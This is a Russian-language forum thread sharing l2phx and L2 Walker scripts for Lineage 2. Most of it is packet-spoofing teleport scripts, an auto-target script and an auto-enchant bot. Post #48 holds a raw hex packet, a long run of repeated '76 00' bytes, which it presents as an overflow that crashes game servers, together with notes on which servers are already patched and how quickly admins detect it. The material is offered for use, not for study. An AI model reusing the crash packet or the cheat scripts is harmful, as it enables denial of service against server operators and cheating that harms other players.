If fromclient and (pck=hstr('38 2E 00 6E 00 6F 00 62 00 6C 00 72 00 62 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('62 65 01 00 52 AF FE FF 66 F5 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6C 00 61 00 64 00 64 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('1D 4C 01 00 89 3E 00 00 0E F9 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 69 00 72 00 61 00 6E 00 70 00 72 00 61 00 79 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('26 CC 01 00 BE 36 02 00 2C F6 FF FF ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 64 00 65 00 6E 00 70 00 72 00 61 00 79 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0A 40 02 00 7E 06 00 00 AD FE FF FF ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 72 00 75 00 6E 00 65 00 70 00 72 00 61 00 79 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('07 23 00 00 08 40 FF FF 27 04 00 00 ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6F 00 72 00 65 00 6E 00 70 00 72 00 61 00 79 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('A6 47 01 00 49 91 00 00 3D F7 FF FF ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 69 00 6F 00 6E 00 70 00 72 00 61 00 79 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('42 56 00 00 6C 77 02 00 AD F5 FF FF ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6C 00 75 00 64 00 69 00 6F 00 70 00 72 00 61 00 79 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3A B9 FF FF 45 A6 01 00 6F F6 FF FF ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 69 00 6E 00 6E 00 61 00 64 00 72 00 69 00 6C 00 70 00 72 00 61 00 79 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3A C5 01 00 32 D2 03 00 1D FD FF FF ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6F 00 64 00 64 00 61 00 72 00 64 00 70 00 72 00 61 00 79 00 31 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('FA 43 02 00 EB 3A FF FF 1C FA FF FF ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6F 00 64 00 64 00 61 00 72 00 64 00 70 00 72 00 61 00 79 00 32 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('2C 3C 02 00 FD 3A FF FF 1B FA FF FF ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 63 00 68 00 75 00 74 00 74 00 67 00 61 00 72 00 74 00 70 00 72 00 61 00 79 00 31 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('DF 32 01 00 6C A4 FD FF E3 00 00 00 ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 63 00 68 00 75 00 74 00 74 00 67 00 61 00 72 00 74 00 70 00 72 00 61 00 79 00 31 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('42 2B 01 00 68 A4 FD FF E3 00 00 00 ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 65 00 6C 00 76 00 65 00 6E 00 74 00 72 00 65 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('AC B4 00 00 06 A1 00 00 4B F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 65 00 6C 00 76 00 65 00 6E 00 77 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('12 BB 00 00 2C C3 00 00 57 F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 65 00 6C 00 76 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('90 B7 00 00 32 C9 00 00 5F F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 61 00 72 00 6B 00 65 00 6C 00 76 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('FE 25 00 00 55 3D 00 00 21 EE FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 61 00 72 00 6B 00 65 00 6C 00 76 00 65 00 6E 00 77 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('DF 34 00 00 96 44 00 00 42 EE FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 69 00 72 00 61 00 6E 00 77 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('98 44 01 00 E3 3C 02 00 77 F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 64 00 65 00 6E 00 77 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('60 43 02 00 8E 66 00 00 71 F7 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6C 00 75 00 64 00 69 00 6F 00 77 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('B0 CC FF FF B0 E7 01 00 D2 F3 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6F 00 64 00 64 00 61 00 72 00 64 00 77 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('99 3B 02 00 C2 1E FF FF 69 F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 77 00 61 00 72 00 76 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('47 C7 01 00 23 37 FD FF 0F FA FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6F 00 72 00 63 00 76 00 69 00 6C 00 6C 00 61 00 67 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('9B 53 FF FF 09 43 FE FF 10 FF FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6F 00 72 00 63 00 76 00 69 00 6C 00 6C 00 61 00 67 00 65 00 77 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('18 57 FF FF 64 44 FE FF 21 FF FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 77 00 61 00 72 00 76 00 65 00 6E 00 77 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('F0 C0 01 00 F8 40 FD FF 98 FC FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 66 00 6C 00 6F 00 72 00 61 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('21 43 00 00 84 98 02 00 55 F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('21 43 00 00 84 98 02 00 55 F2 FF FF')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('F6 B7 00 00 F8 DA 02 00 62 F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 72 00 75 00 6E 00 65 00 68 00 61 00 72 00 62 00 6F 00 72 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('84 94 00 00 4F 6B FF FF C6 F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 74 00 61 00 6C 00 6B 00 69 00 6E 00 67 00 69 00 73 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('43 B7 FE FF 87 B6 03 00 6E F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 6F 00 74 00 73 00 70 00 72 00 69 00 6E 00 67 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('55 50 02 00 F2 65 FE FF D2 F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 69 00 6D 00 70 00 65 00 72 00 69 00 61 00 6C 00 74 00 6F 00 6D 00 62 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('E3 D8 02 00 36 D8 FE FF F6 F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6F 00 6C 00 79 00 6D 00 70 00 69 00 61 00 64 00 32 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('85 B2 FF FF D2 AD FF FF 2E F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 77 00 61 00 6C 00 6C 00 6F 00 66 00 61 00 72 00 67 00 6F 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('6B B2 02 00 99 39 FF FF BE F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 66 00 6F 00 72 00 67 00 65 00 6F 00 66 00 74 00 68 00 65 00 67 00 6F 00 64 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('9F 97 02 00 D6 39 FE FF 72 F7 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 6B 00 61 00 72 00 61 00 74 00 6F 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('F1 5D 01 00 1A 51 FF FF A2 F7 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 61 00 6C 00 6C 00 65 00 79 00 6F 00 66 00 73 00 61 00 69 00 6E 00 74 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('98 09 01 00 B4 E6 FE FF 5C F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6C 00 6F 00 73 00 74 00 6E 00 65 00 73 00 74 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('09 66 00 00 A6 BC FF FF 40 F5 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 6C 00 61 00 69 00 7A 00 69 00 6E 00 67 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('99 6D 02 00 D3 CD FF FF A4 F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 61 00 72 00 6B 00 6F 00 6D 00 65 00 6E 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('5B B4 FF FF A2 34 00 00 DD EC FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 77 00 61 00 72 00 76 00 65 00 6E 00 74 00 6F 00 77 00 65 00 72 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('D8 9E 01 00 E1 58 FD FF 54 02 00 00');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 77 00 61 00 72 00 76 00 65 00 6E 00 74 00 6F 00 77 00 65 00 72 00 32 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('19 9E 01 00 FA 53 FD FF B6 04 00 00');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 66 00 69 00 65 00 6C 00 64 00 6F 00 66 00 73 00 69 00 6C 00 65 00 6E 00 63 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('88 3E 01 00 F1 CA 02 00 C4 F5 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 65 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('50 82 01 00 34 D2 03 00 B8 ED FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 6C 00 69 00 67 00 61 00 74 00 6F 00 72 00 69 00 73 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3C C3 01 00 9A CD 02 00 A7 F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 69 00 64 00 65 00 77 00 61 00 79 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('90 C1 00 00 67 C8 01 00 AC F7 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 66 00 61 00 6C 00 6C 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('68 22 00 00 2A D3 FF FF 50 F0 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 75 00 6E 00 74 00 65 00 72 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('6D C7 01 00 EC 29 01 00 56 F5 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 75 00 6E 00 74 00 65 00 72 00 77 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('C7 C2 01 00 C7 2B 01 00 A4 F5 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 65 00 63 00 72 00 65 00 74 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('24 2D 00 00 19 73 01 00 38 F6 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 63 00 72 00 75 00 6D 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('6B 40 00 00 F1 BD 01 00 54 F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 6F 00 75 00 6E 00 74 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('94 B3 FF FF CE CA 02 00 0D F3 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 70 00 6C 00 61 00 63 00 65 00 74 00 6F 00 68 00 69 00 64 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('1D 18 00 00 81 F4 FF FF 6B F4 FF FF');
SendToClient;
end;
end;
end.
  Ответить с цитированием
4 пользователя(ей) сказали cпасибо:
crazy613ii (08.03.2011), IIOJIOCATIK (17.10.2012), kirill58554 (15.01.2011), ™RackFor™ (01.05.2012)
Старый 15.06.2010, 03:08   #48
 Разведчик
Аватар для DonKanreole
 
DonKanreole на правильном путиDonKanreole на правильном пути
Регистрация: 16.02.2010
Сообщений: 40
Популярность: 107
Сказал(а) спасибо: 80
Поблагодарили 131 раз(а) в 95 сообщениях
 
По умолчанию Re: Скрипты для l2phx

Новейший, но уже успевший быть фикс, пакет на краш сервера. Заставляет сервер упасть, в следствии чего происходит рестарт. Вообще ни что иное, как стандартный оверфлоу (переполнение). Отправлять можно в окне выбора персонажей. И ещё, очень быстро палится аминами по логам и так же быстро фиксится.

Не работает: l2server.ru, lineage2.su (вроде фикс ), abyss, lineageii

0B 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76
00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76
00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76
00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76
Взято с ач
Ставим спасибку если еще где нибудь работает
________________
смотри

Последний раз редактировалось DonKanreole; 15.06.2010 в 03:12.
  Ответить с цитированием
Пользователь сказал cпасибо:
kirill58554 (15.01.2011)
Старый 24.06.2010, 22:48   #49
Заблокирован
 Разведчик
Аватар для Krips
 
Krips на правильном путиKrips на правильном пути
Регистрация: 22.01.2010
Сообщений: 32
Популярность: 128
Сказал(а) спасибо: 16
Поблагодарили 64 раз(а) в 25 сообщениях
Отправить сообщение для Krips с помощью Skype™
 
По умолчанию Re: Скрипты для l2phx

Цитата:
Сообщение от gos1kПосмотреть сообщение
как этим пользоваться пишет наведите на себя тарге я навожу пишет координаты а что дальше то?

1. Включаем скрипт.
2. Стаём в то место координаты которого нам нужно сохранить.
3. Бежим/тп куда угодно.
4. Как только нам надо тп в место которое мы сохранили пишем в чат .soh
5. Появляемся в том месте, юзаем любой скрипт, и вуоля...мы на сохраненном месте.

З.Ы. это за условия что на серере пашет тп скрипт.
Если же он работает, то работает и авторес. Да и любой другой скрипт на тп найденый в и-нете.
  Ответить с цитированием
Старый 27.06.2010, 15:58   #50
 Разведчик
Аватар для ~TheLast~
 
~TheLast~ на правильном пути
Регистрация: 25.06.2010
Сообщений: 9
Популярность: 26
Сказал(а) спасибо: 7
Поблагодарили 8 раз(а) в 2 сообщениях
 
По умолчанию Re: Скрипты для l2phx

Скрипт собирать Рекомендации.для ХБ
в башку стукнуло наверно над в туалет
СУТЬ переделать скрипты расказывающие анекдоты
на собирание РЕКов.
В титул пишу За РЕК скажу Анекдот
чел рекает и ему в пм анекдот.норм наверн будит
я туп могу ток поменять в скрипте чтото как писать незнаю неумею необучен
анекдоты два скрипта как основа для пример

Цитата:
procedure Init; //Вызывается при включении скрипта
begin
timer1:=TTimer.Create(nil);
timer1.OnTimer:=@OnTimer; //
timer1.enabled:=true; //
timer1.interval:=1000;



temp[1]:='" Водка в стиле IT: ';
temp[2]:='0.1л - demo ';
temp[3]:='0.25л - trial version ';
temp[4]:='0.5л - personal edition ';
temp[5]:='0.7л - professional edition ';
temp[6]:='1.0л - network edition ';
temp[7]:='1.75л - enterprise ';
temp[8]:='3л - for small business ';
temp[9]:='5л - corporate edition ';
temp[10]:='Бутыль самогона - home edition ';
temp[11]:='"На посошок" - Service pack ';
temp[12]:='Рассол с утра - Recovery tool ';
temp[13]:='Закуска - plugins ';
temp[14]:='Пиво - patch ';
temp[15]:='Coca-cola, Fanta, 7 UP - trojan viruses';
temp[16]:='';


x:=1;
end;

procedure OnTimer(Sender: TObject);
begin
///
if temp

* <> '' then

begin
buf:=hstr('38');
writes(temp

* );

buf:=buf + hstr('01 00 00 00'); ///9- али // 3-пати // 01 - общий
sendtoserverex('ник');
end;
x:=x+1;
if x>= 19 then x:=19; //ЭТА СТРОКА ДЛЯ ТОГО ЧТОБ XELAT заценил глубину мысли! незнаю я синтаксиса-) и учиться лень-) там какойто АНТИЛ надо применять-) а зачем? и так все пашет.
end;


procedure Free; //Вызывается при выключении скрипта
begin
timer1.Free;
end;

//основная часть скрипта
//вызывается при приходе каждого пакета если скрипт включен
begin

end.

взато с А4

program autotarget;
// Автоматическое взятие в таргет атакующего вас игрока или моба
// Чтобы включить скрипт используйте в игре социальное действие - Yes
// Чтобы выключить скрипт используйте в игре социальное действие - No
// Автор: Furious
// Версия: 0.4
Цитата:
const
Name='NLObP'; //имя чара, с соблюдением регистра букв

var
Attacker, MyOID, ObjectID, MyX, MyY, MyZ, i: Integer;
Status: boolean;

procedure Init; //Вызывается при включении скрипта
begin
status:=false;
end;

procedure TargetAttacker(Attacker: Integer);
begin
//c1F=Action(ObjectID)d(OriginX)d(OriginY)d(Origin Z)c(ActionID)
buf:=#$1F;
WriteD(Attacker);
WriteD(MyX);
WriteD(MyY);
WriteD(MyZ);
WriteC(00);
SendToServerEx(Name);
end;

//************************************************** ****************************
//основная часть скрипта, вызывается при приходе каждого пакета, если скрипт включен
begin
//не обрабатываем пустые пакеты
if pck='' then exit;

if (ConnectName=Name) and FromServer then
begin
case pck[1] of
//32=UserInfo(X)d(Y)d(Z)d(isInAirShip)d(ObjectID). ..
#$32: begin
i:=2;
MyX:=ReadD(i);
MyY:=ReadD(i);
MyZ:=ReadD(i);
ReadD(i); //пропускаем isInAirShip
MyOID:=ReadD(i);
end;
//33=Attack(AttackerID)d(TargetID)...
//48=MagicSkillUse(CharID)d(TargetID)...
#$33,#$48: begin
if Status then
begin
Attacker:=ReadD(2);
ObjectID:=ReadD(6);
if (Attacker<>ObjectID) and (MyOID=ObjectID) then TargetAttacker(Attacker);
end;
end;
end; //case
end; //if

if (ConnectName=Name) and FromClient then
begin
case pck[1] of
//34=RequestSocialAction(Action:Get.Func09)
#$34: begin
case ReadD(2) of
5: Status:=false;
6: Status:=true;
end;
end;
//59=ValidatePosition(X)d(Y)d(Z)...
#$59: begin
MyX:=ReadD(2); //получаю координату х моего чара
MyY:=ReadD(6); //получаю координату у моего чара
MyZ:=ReadD(10); //получаю координату z моего чара
end;
end; //case
end; //if
end.

________________
www.Zhyk.ru---¬>THE BEST
Помог не Жалеем жмем"СПАСИБКУ"

Последний раз редактировалось ~TheLast~; 27.06.2010 в 16:01.
  Ответить с цитированием
Старый 14.07.2010, 01:58   #51
 Разведчик
Аватар для xxdoomxx
 
xxdoomxx неизвестен в этих краях
Регистрация: 28.03.2010
Сообщений: 7
Популярность: -59
Сказал(а) спасибо: 2
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Mini Teleport Script

var
// ник
x:integer; y:integer;
a:integer; b:boolean; z:integer;
procedure Init; // gamehack.xz.lt
begin
SendMsc('Target Char nick (gamehack.xz.lt)');
b:=false;
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msc);
SendToClient;
end;
Begin
begin
if FromClient and (pck[1]=#$04)and (not b) then
begin
a:=ReadD(2); x:=ReadD(6);
y:=ReadD(10); z:=ReadD(14);
SendMsc('save ObjectID = '+inttostr(a));
SendMsc('Save x = '+inttostr(x));
SendMsc('Save y = '+inttostr(y));
SendMsc('Save z = '+inttostr(z));
b:=true;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 6F 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
Writed(x);
Writed(y);
Writed(z);
SendToClient;
end;
end;
end.
  Ответить с цитированием
Старый 14.07.2010, 15:03   #52
 Разведчик
Аватар для xxdoomxx
 
xxdoomxx неизвестен в этих краях
Регистрация: 28.03.2010
Сообщений: 7
Популярность: -59
Сказал(а) спасибо: 2
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Скрипты для L2 Walker

Код:
const
   myname='Ch1se';    //<<== пишем свой НИК
   max=80;            //<<== колличество ячеек в рюкзаке
   enchantResult=16;  //<<== на сколько точить
   encSafe=3;         //<<== на сколько безопасно точить
var
  BaseItems:array[1..max,1..10] of integer;
  EncItems:array[1..10] of integer;
  Timer01,Timer02: TTimer;
  mytext:string;
  x,textID,vsego:integer;
  enchantID,enchantObjectID:integer;
  ItemOID,objectOID,selectObjectID,itemID:integer;
  skrolObjectID,bskrolObjectID,skrolAmount,bskrolAmount,skrolID,bskrolID,skrolOID,bskrolOID:integer;
  enchantLevel:word;
  start,startenchant:Boolean;
//---
procedure SendMsg2(msg:string);
begin
  buf:=#$4A;
  WriteD(0);
  WriteD(10);
  WriteS('');
  WriteS(msg);
  SendToClientEx(myname);
end;
//...
procedure ItemList;
var
  i, j, k: integer;
  ListSize: integer;
 begin
   j:=4; //пропускаем дo ListSize
  ListSize:=ReadH(j);
  for i:=1 to ListSize do
  if (i<=ListSize) then begin
      BaseItems[i,1]:=ReadH(j);  //ItemType1- 1:одето броня. 0:бижа. 4:в рюкзаке
      BaseItems[i,2]:=ReadD(j);  //ObjectID
      BaseItems[i,3]:=ReadD(j);  //ItemID
      BaseItems[i,4]:=ReadD(j);  //LocationSlot
      BaseItems[i,5]:=ReadD(j);  //  q Amount:
               j:=j+4;           //  q Amount:
      BaseItems[i,6]:=ReadH(j);  //ItemType2
      BaseItems[i,7]:=ReadH(j);  // CustomType1
      BaseItems[i,8]:=ReadH(j);  //isEquipped:
      BaseItems[i,9]:=ReadD(j);  //BodyPart
      BaseItems[i,10]:=ReadH(j); //EnchantLevel
       //SendMsg2( ' List;  ItemID------- :  '+IntToStr(BaseItems[i,3])+'' );
        inc(j,30);// ФИНАЛ
 end else for k:=1 to 10 do BaseItems[i,k]:=0;    // забиваем нулями
 if (0<ItemID) then objectOID:=GetObjectID(ItemID);//находим по ItemID  предмет с ObjectID
 end;
//===
//находим ItemID по ObjectID предмета
function GetItemID(enchantObjectID:integer) : integer;
var
  i : integer;
begin
  for i:=1 to max do
    if (BaseItems[i,2]=selectObjectID) then begin
        itemID:=BaseItems[i,3];
         SendMsg2 ('- ID предмета для Заточки:'+IntToStr(itemID)+' ');
        start:=true;
        exit;
    end;
end;
//===
//находим enchantID предмета по  ItemID для заточки
function GetObjectID(itemID:integer) : integer;
var
  i :integer;
 
begin
 enchantLevel:=0;
 vsego:=0;
 for i:=1 to max do
  if (BaseItems[i,3]=itemID) and (BaseItems[i,10]< enchantResult) then begin
   vsego:=vsego+1;
   EncItems[vsego]:=i;                   
   if (vsego = 1) then begin
    enchantLevel:=BaseItems[i,10];
    enchantID:=BaseItems[i,2];
   end;
   if (vsego > 1) and (BaseItems[i,10] < enchantLevel) then begin
    enchantLevel:=BaseItems[i,10];
    enchantID:=BaseItems[i,2];
   end;
  end;
        //SendMsg2( '- В Ы Б Р А Н предмет для Заточки');
        //SendMsg2( '- ObjID предмета='+IntToStr(enchantID)+' ');
        //SendMsg2( '- точим предмет до: '+IntToStr(enchantResult)+' ' );
        SendMsg2( '- предметов для заточки: '+IntToStr(vsego)+' ' );
        SendMsg2( '- минимально заточен на: '+IntToStr(enchantLevel)+' ' );
        x:=1;
    if startenchant then begin
     Timer01.enabled:=true;
    end else begin
     SendMsg2( '- cоцдействие ДА для старта' );
    end;
end;
//===
procedure OnTimer01(Sender: TObject);
begin
case x of
1:begin
  buf:=#$19;
  if enchantLevel < encSafe then begin
   WriteD(skrolObjectID); //простая заточка
  end else begin
   WriteD(bskrolObjectID);//блессед заточка
  end;
  WriteD(0);
  SendToServerEx(myname);
  inc(x);
  end;
2:begin
  buf:=hstr('D04C00');
  WriteD(enchantID);
  SendToServerEx(myname);
  Timer02.enabled:=true;
   x:=0;
